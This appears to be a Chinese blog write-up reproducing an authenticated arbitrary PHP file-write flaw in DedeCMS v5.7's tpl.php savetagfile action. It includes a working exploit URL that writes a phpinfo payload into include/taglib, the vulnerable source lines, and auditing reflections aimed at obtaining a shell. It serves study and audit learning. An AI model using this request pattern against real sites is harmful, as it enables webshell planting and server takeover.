要有后台管理员账号密码,登录后台。
访问/dede/tpl.php?action=upload,审查源码,获取我们的token值。
然后访问:
1http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910
后面加上我们上一步获取的token值。
然后访问我们的
1http://127.0.0.1/dedev5.7/include/taglib/test.lib.php
发现我们的代码写进去了。
访问include/taglib/test.lib.php
漏洞复现
想一想我们的思路:
1、获取token值
2、访问指定的链接
就把我们的代码写入到/include/taglib/xxx.lib.php中
token值很容易获取,那么问题就是在那个链接上面:
1http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910
看一下参数,就知道这是一个文档保存的操作。
问题出现在tpl.php
这个文档代码也没有多少。
很快就能定位到问题代码。不过我这里可能是编码的原因有点乱码,但是这问题不大,我们把逻辑结构看懂就行了。
首先会匹配正则, 要以.lib.php结尾。
然后会将 $content 写入到 $filename 中。
那么我们要跟踪一下文档对这两个参数进行的处理。
然后我们回过头来看整个文档的代码。
1
2
3
4
5$filename = preg_replace("#[/\\]#", '', $filename);//line21
$tagname = preg_replace("#.lib.php$#i", "", $filename);//line260
$content = stripslashes($content);//line261
可以看出,只有替换,并没有对参数进行安全防护措施。
思考
又是一个安全防护不到位的一个漏洞,为什么就没挖到呢。
于是用seay源代码审计扫了一下。没有扫出这个漏洞点。
发现这个点是后台的一个功能点。
代码审计还是需要多方面考虑,以前一直在看代码,没有从功能点上去考虑,可以转换一下代码审计的思路,尝试去通过功能点,去思考可能会存在什么漏洞,然后去看源码。
对于后台,通常不管是渗透测试、还是代码审计,目标都是拿shell,那么我们就要多多考虑对文档进行的操作了。